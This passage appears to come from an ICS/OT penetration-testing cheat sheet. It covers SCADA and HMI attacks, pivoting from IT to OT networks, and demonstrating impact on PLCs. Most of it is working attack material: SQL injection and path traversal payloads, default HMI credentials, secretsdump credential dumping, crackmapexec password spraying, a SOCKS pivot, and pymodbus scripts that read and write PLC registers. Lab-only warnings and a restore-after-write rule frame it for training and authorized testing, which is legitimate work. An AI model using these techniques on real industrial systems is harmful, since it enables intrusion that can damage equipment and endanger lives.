# 1. SCADA web interface — often runs Apache/IIS # Test for SQLi in tag history queries curl "http://192.168.1.50/History/GetData?\ tagName=Pressure' OR '1'='1" # 2. Path traversal in file-serving SCADA curl "http://192.168.1.50/display/\ ../../../Windows/win.ini" # 3. Look for RDP on HMI (common: operators use it) nmap -p 3389 192.168.1.0/24 --max-rate 5 # Default HMI RDP creds: # Administrator:(blank), SCADA:scada, operator:operator # 4. VNC on HMI (unencrypted, no auth sometimes) nmap -p 5900,5901 192.168.1.0/24 --max-rate 5 vncviewer 192.168.1.50:5900 # 5. TFTP — get config from devices tftp 192.168.1.10 get startup-config get /etc/passwd
HMIs are essentially Windows PCs that haven't been patched since they were installed (patching HMIs is risky — it can break the SCADA software). They run old IE, outdated Java, unpatched Windows. RDP and VNC are commonly left open for remote operator access with weak/no passwords. Once on the HMI, you can control the entire plant through the SCADA GUI — no protocol knowledge needed.
🦀
Lateral Movement in OT Networks
Pivot from IT network down to OT — crossing the air gap
MID
🌉 IT-to-OT Pivot Path
Typical Attack Path1. Phish employee → get foothold on IT workstation. 2. Credential dump with Mimikatz → find domain admin. 3. Move to Historian / Jump Server (in DMZ/Level 3). 4. From Historian, access OT network (often no firewall between them). 5. Scan for PLCs and HMIs. 6. Exploit ICS protocols directly.
check for DMZ / dual-homed systems
# On compromised Windows host — check interfaces ipconfig /all # Look for TWO network interfaces — common on Historians # e.g., 10.0.0.x (IT) AND 192.168.1.x (OT) # Scan for OT network from dual-homed host # Route to OT subnet via compromised host route print # Set up SOCKS proxy for pivot # On attack machine: ssh -D 1080 user@compromised_host # Now configure proxychains to use 127.0.0.1:1080 # Scan OT segment through pivot proxychains nmap -sT -p 502,102,44818 \ 192.168.1.0/24 --max-rate 5
Historian servers are the classic pivot point — they need to collect data from OT PLCs AND send reports to IT enterprise systems. So they have two NICs: one on each network. Once you compromise the Historian (which often runs Windows with RDP open), you're on the OT segment. SOCKS proxy via SSH lets you tunnel all your ICS tools through the pivot without installing anything on the target.
🔑 Credential Reuse in OT
impacket — spray creds across OT Windows hosts
# Dump creds from IT foothold python3 secretsdump.py \ DOMAIN/user:pass@10.0.0.5 # Spray harvested creds on OT hosts # (HMIs, Engineering Workstations run Windows) for host in 192.168.1.50 192.168.1.51 192.168.1.52; do python3 smbclient.py \ Administrator:Password123@$host done # Check for EWS (Engineering Workstations) # These have TIA Portal, Studio 5000, etc. # If you can RDP here, you can reprogram PLCs via GUI crackmapexec smb 192.168.1.0/24 \ -u Administrator -p 'Password123' \ --shares
OT environments have terrible password hygiene — the same local admin password is often used on every HMI and EWS because "it's on the OT network, it's safe." Engineering Workstations (EWS) are the holy grail — they have Siemens TIA Portal or Rockwell Studio 5000 installed and can directly program connected PLCs via GUI. No protocol knowledge needed once you're on the EWS.
💥
Impact Demonstration (Lab Only)
Proving impact without destroying infrastructure — for CTFs and lab scenarios
ADVANCED
⛔ STRICTLY LAB / AUTHORIZED ENVIRONMENTS ONLY The techniques in this section, if applied to real systems, can cause physical destruction of equipment, environmental disasters, and loss of human life. These exist here for understanding defense and for authorized CTF/lab use only.
📋 Impact Proof Techniques for CTFs
demonstrate full read access (impact proof)
python3 << 'EOF' # CTF impact proof — demonstrate read of all process data from pymodbus.client import ModbusTcpClient import json, datetime c = ModbusTcpClient('192.168.1.10') c.connect() report = { 'timestamp': str(datetime.datetime.now()), 'target': '192.168.1.10', 'coils': c.read_coils(0, 64, slave=1).bits[:64], 'input_regs': c.read_input_registers(0, 30, slave=1).registers, 'holding_regs': c.read_holding_registers(0, 30, slave=1).registers } print(json.dumps(report, indent=2, default=str)) c.close() # This proves: unauthenticated full process read # In a real plant = complete operational intelligence EOF
For CTF/pentest reporting: dump the full process state as JSON. This proves you had complete unauthenticated read access to all process variables — sensor readings, actuator states, setpoints. In a real pentest report, this demonstrates that an adversary could learn the complete operational state of the facility without any credentials.
demonstrate write capability (controlled lab test)
python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10') c.connect() # Read original value orig = c.read_holding_registers(0, 1, slave=1).registers[0] print(f'Original value: {orig}') # Write test value c.write_register(0, 12345, slave=1) verify = c.read_holding_registers(0, 1, slave=1).registers[0] print(f'After write: {verify}') # Should be 12345 # ALWAYS restore original value after proof! c.write_register(0, orig, slave=1) print(f'Restored to: {orig}') c.close() "
The golden rule of ICS pentesting: READ → PROVE → RESTORE. Before writing, save the original value. Write your test value (pick something non-extreme: not 0, not 65535 — pick a value close to current). Verify write succeeded by reading back. Then immediately restore the original. Never leave modified values. This minimizes risk while proving write access.
📝 Pentest Report Evidence Collection
automated ICS pentest evidence script
python3 << 'EOF' import socket, subprocess, json from pymodbus.client import ModbusTcpClient targets = ['192.168.1.10', '192.168.1.20'] evidence = [] for ip in targets: result = {'ip': ip, 'findings': []} # 1. Port scan evidence for port in [502, 102, 44818, 20000]: try: s = socket.socket() s.settimeout(2) if s.connect_ex((ip, port)) == 0: result['findings'].append( f'OPEN PORT {port} — { {502:"Modbus",102:"S7", 44818:"EtherNet/IP", 20000:"DNP3"}[port]}') s.close() except: pass # 2. Modbus unauthenticated access proof try: c = ModbusTcpClient(ip) c.connect() r = c.read_holding_registers(0, 5, slave=1) if r and not r.isError(): result['findings'].append( f'UNAUTHENTICATED MODBUS READ: {r.registers}') c.close() except: pass evidence.append(result) print(json.dumps(evidence, indent=2)) EOF
Automated evidence collection for pentest reports. Combines port discovery with protocol-level proof of access. Output is structured JSON — easy to include in reports. The key finding to highlight: unauthenticated protocol access. This maps to MITRE ATT&CK for ICS: T0846 (Remote System Discovery), T0843 (Program Download), T0836 (Modify Parameter).
🧰
ICS/OT Tools Glossary
Complete toolbox — what each tool does and when to use it
🔧 Complete Tool Reference
TOOLPROTOCOLPURPOSE
nmap + NSEAllPort scan, fingerprinting. Scripts: modbus-discover, s7-info, enip-info, bacnet-info
MetasploitAllICS auxiliary modules for Modbus, S7, EtherNet/IP, DNP3. Also post-exploitation on HMIs.
pymodbusModbusPython Modbus TCP/RTU client. Read/write coils, registers. Best for scripting.
mbtgetModbusCLI Modbus register reader. Quickest way to dump registers from command line.
python-snap7S7commPython client for Siemens S7 PLCs. Read/write DBs, inputs, outputs. CPU control.
cpppoEtherNet/IPPython EtherNet/IP / CIP library. Read/write Allen-Bradley tags by name.
opcuaOPC-UAPython OPC-UA client. Browse and read OPC server node trees. Anonymous access testing.
scapyAnyRaw packet crafting. Build custom Modbus, DNP3, S7 packets. MiTM packet manipulation.
WiresharkAllPacket capture + ICS protocol dissectors (Modbus, DNP3, S7, EtherNet/IP built-in).
Zeek/BroAllPassive ICS traffic analysis. Generates structured logs per protocol. Best for passive recon.
PLCScanMultiDedicated ICS host scanner. Tries multiple protocols simultaneously. Python-based.
Redpoint (NSE)BACnet, DNP3Digital Bond's NSE scripts for nmap. Adds BACnet, HART, DNP3, Crimson3 scanning.
ISF (ICS Security Framework)MultiMetasploit-like framework specifically for ICS. Has more ICS modules. Python.
GrassMarlinAllCISA-released passive ICS network mapping tool. Visualizes OT network topology.
binwalkFirmware analysis and extraction. Find embedded files, hardcoded creds, keys.
arpspoof / ettercapARP spoofing for MiTM between SCADA and PLC. Position for traffic interception.
tcpreplayReplay captured PCAPs. Replay legitimate command captures to re-trigger actions.
Shodan CLISearch internet-exposed ICS devices. Essential for external recon phase.
CrackMapExecSMB/RDPSpray credentials across Windows HMIs and EWS. Find reused passwords.
impacketSMB/DCOMSMB/RPC exploitation on Windows HMIs. secretsdump for credential harvesting.
ICS Lab Engagement Checklist
Systematic approach — don't miss anything in CTF/lab scenarios
Phase 1 — Passive Recon
□ Capture traffic passively (tcpdump/Zeek) Before touching anything, listen. See what protocols are naturally flowing. Note source/dest IPs, protocol types, polling intervals.
□ Identify active ICS protocols from captures Filter: port 502 (Modbus), 102 (S7), 44818 (EtherNet/IP), 20000 (DNP3), 47808 (BACnet)
□ Map SCADA↔PLC communication pairs Which IP is the master (SCADA) vs outstation (PLC/RTU)?
□ Shodan for external exposure Is anything internet-facing? Check Shodan for target IP range / organization.
Phase 2 — Active Discovery
□ Slow nmap scan (--max-rate 10) for ICS ports only Ports: 102, 502, 2222, 4840, 20000, 44818, 47808, 2404, 5450
□ Run ICS NSE scripts on discovered hosts modbus-discover, s7-info, enip-info, bacnet-info
□ Check for web interfaces (80, 443, 8080, 8443) Try default credentials on any web UI found
□ Check RDP (3389) and VNC (5900) on Windows hosts HMIs often have these open with weak/no credentials
Phase 3 — Enumeration
□ Read all Modbus data areas (coils, registers) FC 1-4 read, FC 43 device ID. Note values — understand the process.
□ S7: get_cpu_info(), enumerate DBs 1-100 Note CPU state, firmware version, project name (ASName)
□ EtherNet/IP: browse CIP tag list Get tag names — required for read/write operations
□ OPC-UA: try anonymous connection, browse nodes Map the full tag hierarchy
Phase 4 — Exploitation
□ Attempt unauthenticated write (Modbus/S7/EIP) Read original → write test value → verify → RESTORE immediately
□ Attempt PLC CPU control (S7 stop/start) Only if lab authorizes this. Document CPU state before/after.
□ MiTM positioning (if ARP spoofing in scope) Position between SCADA and PLC. Capture command stream.
□ Credential attacks on Windows HMI/EWS Default creds, spray harvested creds, check for unpatched vulns
🎓 MITRE ATT&CK for ICS — Technique Quick Reference
TECHNIQUE IDNAMEHOW YOU DO IT
T0846Remote System Discoverynmap, PLCScan, Shodan — find ICS hosts
T0888Remote System Information DiscoveryFC43 device ID, s7-info, enip-info
T0843Program DownloadS7 program upload via snap7 / MSF
T0836Modify ParameterWrite Modbus holding registers, S7 DB write
T0855Unauthorized Command MessageWrite Modbus coils, CIP tag write, DNP3 operate
T0830Man in the MiddleARP spoof + traffic intercept between SCADA/PLC
T0814Denial of ControlModbus TCP connection flood, S7 CPU stop
T0832Manipulation of ViewIntercept + modify Modbus responses to HMI
T0800Activate Firmware Update ModeTrigger firmware mode via web UI or protocol
T0859Valid AccountsDefault/harvested creds on HMI, EWS, OPC server